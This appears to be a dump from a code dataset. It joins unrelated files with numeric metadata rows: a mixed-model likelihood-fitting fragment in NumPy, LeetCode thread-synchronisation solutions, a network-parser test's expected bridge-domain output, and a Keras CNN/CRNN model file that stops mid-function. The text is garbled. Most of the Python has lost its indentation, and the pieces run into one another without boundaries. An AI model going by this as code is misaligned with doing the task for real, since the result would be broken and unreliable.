update_p = np.einsum('i,ijk->ijk',lam, update_p)
# Update D_k
Ddict[k] = makeDnnd3D(vec2mat3D(mat2vec3D(Ddict[k]) + update_p))
# Add D_k back into D and recompute DinvIplusZtZD (This isn't necessary for the
# one random effect, one random factor use case as D only contains one unique
# element)
if not (r == 1 and nraneffs[0] == 1):
for j in np.arange(nlevels[k]):
D[:, Dinds[counter]:Dinds[counter+1], Dinds[counter]:Dinds[counter+1]] = Ddict[k]
counter = counter + 1
# --------------------------------------------------------------------------
# Obtain D(I+Z'ZD)^(-1)
# --------------------------------------------------------------------------
# Inverse of (I+Z'ZD) multiplied by D. If we are looking at a single random
# factor single random effect model DinvIplusZtZD will only hold the diagonal
# elements of D(I+Z'ZD)^(-1)
DinvIplusZtZD = get_DinvIplusZtZD3D(Ddict, D, ZtZ, nlevels, nraneffs)
# --------------------------------------------------------------------------
# Recalculate matrices
# --------------------------------------------------------------------------
ete = ssr3D(YtX, YtY, XtX, beta)
Zte = ZtY - (ZtX @ beta)
# Check sigma2 hasn't hit a boundary
sigma2[sigma2<0]=1e-10
# --------------------------------------------------------------------------
# Update the step size and log likelihood
# --------------------------------------------------------------------------
llhcurr = llh3D(n, ZtZ, Zte, ete, sigma2, DinvIplusZtZD,D, Ddict, nlevels, nraneffs, reml, XtX, XtZ, ZtX)
lam[llhprev>llhcurr] = lam[llhprev>llhcurr]/2
# --------------------------------------------------------------------------
# Work out which models converged
# --------------------------------------------------------------------------
# Obatin indices of converged models
indices_ConAfterIt, indices_notConAfterIt, indices_ConDuringIt, localconverged, localnotconverged = getConvergedIndices(converged_global, (np.abs(llhprev-llhcurr)<tol))
# Record which models converged.
converged_global[indices_ConDuringIt] = 1
# --------------------------------------------------------------------------
# Save parameters from this run
# --------------------------------------------------------------------------
savedparams[indices_ConDuringIt,0:p,:]=beta[localconverged,:,:]
savedparams[indices_ConDuringIt,p:(p+1),:]=sigma2[localconverged].reshape(sigma2[localconverged].shape[0],1,1)
for k in np.arange(len(nraneffs)):
# Get vech form of D_k
vech_Dk = mat2vech3D(Ddict[k][localconverged,:,:])
# Make sure it has correct shape (i.e. shape (num models converged, num
# random effects for factor k squared, 1))
vech_Dk = vech_Dk.reshape(len(localconverged),nraneffs[k]*(nraneffs[k]+1)//2,1)
savedparams[indices_ConDuringIt,FishIndsDk[k]:FishIndsDk[k+1],:]=vech_Dk
# --------------------------------------------------------------------------
# Update matrices
# --------------------------------------------------------------------------
XtY = XtY[localnotconverged, :, :]
YtX = YtX[localnotconverged, :, :]
YtY = YtY[localnotconverged, :, :]
ZtY = ZtY[localnotconverged, :, :]
YtZ = YtZ[localnotconverged, :, :]
ete = ete[localnotconverged, :, :]
# Design varies across models
if XtX.shape[0] > 1:
XtX = XtX[localnotconverged, :, :]
ZtX = ZtX[localnotconverged, :, :]
XtZ = XtZ[localnotconverged, :, :]
# In the one factor, one random effect case we only have the diagonal
# Z'Z elements because Z'Z is diagonal in this use case.
if r==1 and nraneffs[0]==1:
ZtZ = ZtZ[localnotconverged, :]
else:
ZtZ = ZtZ[localnotconverged, :, :]
# ----------------------------------------------------------------------
# Update ZtZmat
# ----------------------------------------------------------------------
# ZtZmat
for k in np.arange(len(nraneffs)):
if ZtZmatdict[k] is not None:
ZtZmatdict[k]=ZtZmatdict[k][localnotconverged, :, :]
# Update n
if hasattr(n, "ndim"):
# Check if n varies with model
if n.shape[0] > 1:
if n.ndim == 1:
n = n[localnotconverged]
if n.ndim == 2:
n = n[localnotconverged,:]
if n.ndim == 3:
n = n[localnotconverged,:,:]
# In the one factor, one random effect case we only have the diagonal
# D(I+Z'Z)^(-1) elements because D(I+Z'Z)^(-1) is diagonal in this use
# case.
if r==1 and nraneffs[0]==1:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :]
else:
DinvIplusZtZD = DinvIplusZtZD[localnotconverged, :, :]
# --------------------------------------------------------------------------
# Update step size and log likelihoods
# --------------------------------------------------------------------------
lam = lam[localnotconverged]
llhprev = llhprev[localnotconverged]
llhcurr = llhcurr[localnotconverged]
# --------------------------------------------------------------------------
# Update parameters
# --------------------------------------------------------------------------
beta = beta[localnotconverged, :, :]
sigma2 = sigma2[localnotconverged]
# We don't need this representation of D in the simple case of 1 random
# factor, 1 random effect
if not (r == 1 and nraneffs[0] == 1):
D = D[localnotconverged, :, :]
for k in np.arange(len(nraneffs)):
Ddict[k] = Ddict[k][localnotconverged, :, :]
# --------------------------------------------------------------------------
# Matrices needed later by many calculations
# ----------------------------------------------------------------------------
# X transpose e and Z transpose e
Xte = XtY - (XtX @ beta)
Zte = ZtY - (ZtX @ beta)
return(savedparams)
| 45.225788
| 176
| 0.440742
| 7,387
| 77,517
| 4.597672
| 0.062542
| 0.022613
| 0.014133
| 0.016076
| 0.94918
| 0.945087
| 0.940111
| 0.932515
| 0.925419
| 0.918558
| 0
| 0.014313
| 0.242889
| 77,517
| 1,713
| 177
| 45.252189
| 0.564382
| 0.536734
| 0
| 0.930481
| 0
| 0
| 0.003709
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00713
| false
| 0
| 0.008913
| 0
| 0.016043
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c04b47007d9cb59e5fa85e803c93cff37db027e6
| 4,590
|
py
|
Python
|
Concurrency/1116. Print Zero Even Odd.py
|
beckswu/Leetcode
|
480e8dc276b1f65961166d66efa5497d7ff0bdfd
|
[
"MIT"
] | 138
|
2020-02-08T05:25:26.000Z
|
2021-11-04T11:59:28.000Z
|
Concurrency/1116. Print Zero Even Odd.py
|
beckswu/Leetcode
|
480e8dc276b1f65961166d66efa5497d7ff0bdfd
|
[
"MIT"
] | null | null | null |
Concurrency/1116. Print Zero Even Odd.py
|
beckswu/Leetcode
|
480e8dc276b1f65961166d66efa5497d7ff0bdfd
|
[
"MIT"
] | 24
|
2021-01-02T07:18:43.000Z
|
2022-03-20T08:17:54.000Z
|
import threading
class ZeroEvenOdd:
def __init__(self, n):
self.n = n
self.cv = threading.Condition()
self.cur = 1
# printNumber(x) outputs "x", where x is an integer.
def zero(self, printNumber: 'Callable[[int], None]') -> None:
while True:
with self.cv:
self.cv.wait_for(lambda: self.cur % 2 == 1 or self.cur > 2*self.n)
if self.cur > 2*self.n:
return
printNumber(0)
self.cur += 1
self.cv.notifyAll()
def even(self, printNumber: 'Callable[[int], None]') -> None:
while True:
with self.cv:
self.cv.wait_for(lambda: self.cur % 4 == 0 or self.cur > 2*self.n)
if self.cur > 2*self.n:
return
printNumber(self.cur//2)
self.cur += 1
self.cv.notifyAll()
def odd(self, printNumber: 'Callable[[int], None]') -> None:
while True:
with self.cv:
self.cv.wait_for(lambda: self.cur % 4 == 2 or self.cur > 2*self.n)
if self.cur > 2*self.n:
return
printNumber(self.cur//2)
self.cur += 1
self.cv.notifyAll()
from threading import Barrier, Lock
class ZeroEvenOdd:
def __init__(self, n):
self.n = n
self.ct = 0
self.barriers = [Barrier(2),Barrier(2)]
self.zero_lock = Lock()
def zero(self, printNumber):
for _ in range(self.n):
self.zero_lock.acquire()
printNumber(0)
self.ct += 1
self.barriers[self.ct % 2].wait()
def even(self, printNumber):
for _ in range(self.n//2):
self.barriers[0].wait()
printNumber(self.ct)
self.zero_lock.release()
def odd(self, printNumber):
for _ in range((self.n+1)//2):
self.barriers[1].wait()
printNumber(self.ct)
self.zero_lock.release()
from threading import Semaphore
class ZeroEvenOdd:
def __init__(self, n):
self.n = n
self.ct = 0
self.gates = [Semaphore(),Semaphore(),Semaphore()]
self.gates[0].acquire()
self.gates[1].acquire()
def zero(self, printNumber):
for _ in range(self.n):
self.gates[2].acquire()
printNumber(0)
self.ct += 1
self.gates[self.ct % 2].release()
def even(self, printNumber):
for _ in range(self.n//2):
self.gates[0].acquire()
printNumber(self.ct)
self.gates[2].release()
def odd(self, printNumber):
for _ in range((self.n+1)//2):
self.gates[1].acquire()
printNumber(self.ct)
self.gates[2].release()
from threading import Lock
class ZeroEvenOdd:
def __init__(self, n):
self.n = n
self.ct = 0
self.gates = [Lock(),Lock(),Lock()]
self.gates[0].acquire()
self.gates[1].acquire()
def zero(self, printNumber):
for _ in range(self.n):
self.gates[2].acquire()
printNumber(0)
self.ct += 1
self.gates[self.ct % 2].release()
def even(self, printNumber):
for _ in range(self.n//2):
self.gates[0].acquire()
printNumber(self.ct)
self.gates[2].release()
def odd(self, printNumber):
for _ in range((self.n+1)//2):
self.gates[1].acquire()
printNumber(self.ct)
self.gates[2].release()
from threading import Event
class ZeroEvenOdd:
def __init__(self, n):
self.n = n
self.ct = 0
self.print = [Event(),Event(),Event()]
self.print[2].set()
def zero(self, printNumber):
for _ in range(self.n):
self.print[2].wait()
self.print[2].clear()
printNumber(0)
self.ct += 1
self.print[self.ct % 2].set()
def even(self, printNumber):
for _ in range(self.n//2):
self.print[0].wait()
self.print[0].clear()
printNumber(self.ct)
self.print[2].set()
def odd(self, printNumber):
for _ in range((self.n+1)//2):
self.print[1].wait()
self.print[1].clear()
printNumber(self.ct)
self.print[2].set()
| 28.159509
| 82
| 0.48976
| 550
| 4,590
| 4.016364
| 0.096364
| 0.063377
| 0.097782
| 0.108646
| 0.827071
| 0.821186
| 0.810774
| 0.784065
| 0.71933
| 0.71933
| 0
| 0.025919
| 0.377996
| 4,590
| 163
| 83
| 28.159509
| 0.747811
| 0
| 0
| 0.776923
| 0
| 0
| 0.01388
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.038462
| null | null | 0.315385
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
221b51f5551a68df9f5afbc0cd9d3fd07abc889e
| 216,732
|
py
|
Python
|
src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden7_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden7_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden7_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
"legend": "pp = Partially Programmed.",
"bridge_group": {
"BS": {
"bridge_domain": {
"BS_1700": {
"state": "up",
"id": 385,
"shg_id": 0,
"mst_i": 0,
"coupled_state": "disabled",
"vine_state": "Default",
"mac_learning": "enabled",
"mac_withdraw": "enabled",
"mac_withdraw_for_access_pw": "enabled",
"mac_withdraw_sent_on": "bridge port up",
"mac_withdraw_relaying": "disabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"mac_port_down_flush": "enabled",
"mac_secure": "disabled",
"mac_secure_logging": "disabled",
"split_horizon_group": "none",
"dynamic_arp_inspection": "disabled",
"dynamic_arp_logging": "disabled",
"ip_source_guard": "disabled",
"ip_source_logging": "disabled",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"storm_control": "bridge-domain policer",
"bridge_mtu": "1500",
"mid_cvpls_config_index": "386",
"p2mp_pw": "disabled",
"create_time": "08/12/2020 12:50:08 (26w5d ago)",
"status_changed_since_creation": "No",
"ac": {
"num_ac": 2,
"num_ac_up": 2,
"interfaces": {
"Bundle-Ether3.1700": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["1700", "1700"],
"mtu": 9000,
"xc_id": "0xc0000548",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 0, "send": 0},
"byte_totals": {"receive": 0, "send": 0},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
"TenGigE0/2/0/14.1700": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["1700", "1700"],
"mtu": 1526,
"xc_id": "0x1200556",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 0, "send": 0},
"byte_totals": {"receive": 0, "send": 0},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
},
},
"vfi": {"num_vfi": 0},
"pw": {"num_pw": 0, "num_pw_up": 0},
"pbb": {"num_pbb": 0, "num_pbb_up": 0},
"vni": {"num_vni": 0, "num_vni_up": 0},
},
"BS_2016": {
"state": "up",
"id": 406,
"shg_id": 0,
"mst_i": 0,
"coupled_state": "disabled",
"vine_state": "Default",
"mac_learning": "enabled",
"mac_withdraw": "enabled",
"mac_withdraw_for_access_pw": "enabled",
"mac_withdraw_sent_on": "bridge port up",
"mac_withdraw_relaying": "disabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"mac_port_down_flush": "enabled",
"mac_secure": "disabled",
"mac_secure_logging": "disabled",
"split_horizon_group": "none",
"dynamic_arp_inspection": "disabled",
"dynamic_arp_logging": "disabled",
"ip_source_guard": "disabled",
"ip_source_logging": "disabled",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"storm_control": "bridge-domain policer",
"bridge_mtu": "1500",
"mid_cvpls_config_index": "407",
"p2mp_pw": "disabled",
"create_time": "20/05/2021 10:30:35 (3w3d ago)",
"status_changed_since_creation": "No",
"ac": {
"num_ac": 2,
"num_ac_up": 2,
"interfaces": {
"Bundle-Ether3.2016": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["2016", "2016"],
"mtu": 9000,
"xc_id": "0xc00005a0",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
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"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 0, "send": 0},
"byte_totals": {"receive": 0, "send": 0},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
"Bundle-Ether3.1268": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["1268", "1268"],
"mtu": 9000,
"xc_id": "0xc000007c",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 0, "send": 0},
"byte_totals": {"receive": 0, "send": 0},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
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},
"bytes": {
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"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
},
},
"vfi": {"num_vfi": 0},
"pw": {"num_pw": 0, "num_pw_up": 0},
"pbb": {"num_pbb": 0, "num_pbb_up": 0},
"vni": {"num_vni": 0, "num_vni_up": 0},
},
}
},
"Other_Connect_Tmp": {
"bridge_domain": {
"1270": {
"state": "up",
"id": 157,
"shg_id": 0,
"mst_i": 0,
"coupled_state": "disabled",
"vine_state": "Default",
"mac_learning": "enabled",
"mac_withdraw": "enabled",
"mac_withdraw_for_access_pw": "enabled",
"mac_withdraw_sent_on": "bridge port up",
"mac_withdraw_relaying": "disabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"mac_port_down_flush": "enabled",
"mac_secure": "disabled",
"mac_secure_logging": "disabled",
"split_horizon_group": "none",
"dynamic_arp_inspection": "disabled",
"dynamic_arp_logging": "disabled",
"ip_source_guard": "disabled",
"ip_source_logging": "disabled",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"storm_control": "bridge-domain policer",
"bridge_mtu": "1500",
"mid_cvpls_config_index": "158",
"p2mp_pw": "disabled",
"create_time": "04/06/2020 13:20:08 (1y01w ago)",
"status_changed_since_creation": "No",
"ac": {
"num_ac": 2,
"num_ac_up": 2,
"interfaces": {
"Bundle-Ether3.1270": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["1270", "1270"],
"mtu": 9000,
"xc_id": "0xc0000242",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 117707, "send": 0},
"byte_totals": {"receive": 8004076, "send": 0},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
"TenGigE0/2/0/11.1270": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["1270", "1270"],
"mtu": 1526,
"xc_id": "0x1200220",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {"receive": 0, "send": 117708},
"byte_totals": {"receive": 0, "send": 8004144},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
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"bytes": "0",
},
"ip_source_guard_drop_counters": {
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},
"vfi": {"num_vfi": 0},
"pw": {"num_pw": 0, "num_pw_up": 0},
"pbb": {"num_pbb": 0, "num_pbb_up": 0},
"vni": {"num_vni": 0, "num_vni_up": 0},
},
"BS_3986": {
"state": "up",
"id": 259,
"shg_id": 0,
"mst_i": 0,
"coupled_state": "disabled",
"vine_state": "Default",
"mac_learning": "enabled",
"mac_withdraw": "enabled",
"mac_withdraw_for_access_pw": "enabled",
"mac_withdraw_sent_on": "bridge port up",
"mac_withdraw_relaying": "disabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"mac_port_down_flush": "enabled",
"mac_secure": "disabled",
"mac_secure_logging": "disabled",
"split_horizon_group": "none",
"dynamic_arp_inspection": "disabled",
"dynamic_arp_logging": "disabled",
"ip_source_guard": "disabled",
"ip_source_logging": "disabled",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"storm_control": "bridge-domain policer",
"bridge_mtu": "1500",
"mid_cvpls_config_index": "260",
"p2mp_pw": "disabled",
"create_time": "21/09/2020 15:58:08 (37w6d ago)",
"status_changed_since_creation": "No",
"ac": {
"num_ac": 2,
"num_ac_up": 2,
"interfaces": {
"Bundle-Ether3.3986": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["3986", "3986"],
"mtu": 9000,
"xc_id": "0xc000031e",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {
"receive": 3901995,
"send": 6335822,
},
"byte_totals": {
"receive": 275112570,
"send": 7269237551,
},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
"TenGigE0/2/0/11.3986": {
"state": "up",
"type": "VLAN",
"vlan_num_ranges": "1",
"rewrite_tags": "",
"vlan_ranges": ["3986", "3986"],
"mtu": 1526,
"xc_id": "0x1200322",
"interworking": "none",
"mac_learning": "enabled",
"flooding": {
"broadcast_multicast": "enabled",
"unknown_unicast": "enabled",
},
"mac_aging_time": 300,
"mac_aging_type": "inactivity",
"mac_limit": 4000,
"mac_limit_action": "none",
"mac_limit_notification": "syslog",
"mac_limit_reached": "no",
"mac_limit_threshold": "75%",
"split_horizon_group": "none",
"dhcp_v4_snooping": "disabled",
"dhcp_v4_snooping_profile": "none",
"igmp_snooping": "disabled",
"igmp_snooping_profile": "none",
"mld_snooping_profile": "none",
"statistics": {
"packet_totals": {
"receive": 6335693,
"send": 3901902,
},
"byte_totals": {
"receive": 7269096652,
"send": 275105988,
},
"mac_move": "0",
},
"storm_control_drop_counters": {
"packets": {
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"multicast": "0",
"unknown_unicast": "0",
},
"bytes": {
"broadcast": "0",
"multicast": "0",
"unknown_unicast": "0",
},
},
"dynamic_arp_inspection_drop_counters": {
"packets": "0",
"bytes": "0",
},
"ip_source_guard_drop_counters": {
"packets": "0",
"bytes": "0",
},
},
},
},
"vfi": {"num_vfi": 0},
"pw": {"num_pw": 0, "num_pw_up": 0},
"pbb": {"num_pbb": 0, "num_pbb_up": 0},
"vni": {"num_vni": 0, "num_vni_up": 0},
},
}
},
},
}
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| 0.252113
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0
| 8
|
2273c287ca71391742a8694cb8c0ea6f53d53065
| 4,560
|
py
|
Python
|
models.py
|
Yeok-c/Urban-Sound-Classification
|
98c46eb54266ef7b859d192e9bebe8a5d48e1708
|
[
"Apache-2.0"
] | null | null | null |
models.py
|
Yeok-c/Urban-Sound-Classification
|
98c46eb54266ef7b859d192e9bebe8a5d48e1708
|
[
"Apache-2.0"
] | null | null | null |
models.py
|
Yeok-c/Urban-Sound-Classification
|
98c46eb54266ef7b859d192e9bebe8a5d48e1708
|
[
"Apache-2.0"
] | null | null | null |
from tensorflow import keras
class models:
def __init__():
pass
### Define convolutional network architecture ###
def cnn():
# num_filters = [24,32,64,128]
pool_size = (2, 2)
kernel_size = (3, 3)
input_shape = (60, 41, 2)
num_classes = 10
keras.backend.clear_session()
model = keras.models.Sequential()
model.add(keras.layers.Conv2D(24, kernel_size,
padding="same", input_shape=input_shape))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(32, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(64, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(128, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.GlobalMaxPooling2D())
model.add(keras.layers.Dense(128, activation="relu"))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Dense(128, activation="relu"))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Dense(128, activation="relu"))
model.add(keras.layers.Dense(num_classes, activation="softmax"))
model.compile(optimizer=keras.optimizers.Adam(1e-4),
loss=keras.losses.SparseCategoricalCrossentropy(),
metrics=["accuracy"])
return model
def crnn():
# num_filters = [24,32,64,128]
pool_size = (2, 2)
kernel_size = (3, 3)
input_shape = (60, 41, 2)
num_classes = 10
keras.backend.clear_session()
model = keras.models.Sequential()
model.add(keras.layers.Conv2D(24, kernel_size,
padding="same", input_shape=input_shape))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(32, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
model.add(keras.layers.MaxPooling2D(pool_size=pool_size))
model.add(keras.layers.Dropout(.2))
model.add(keras.layers.Conv2D(64, kernel_size,
padding="same"))
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Activation("relu"))
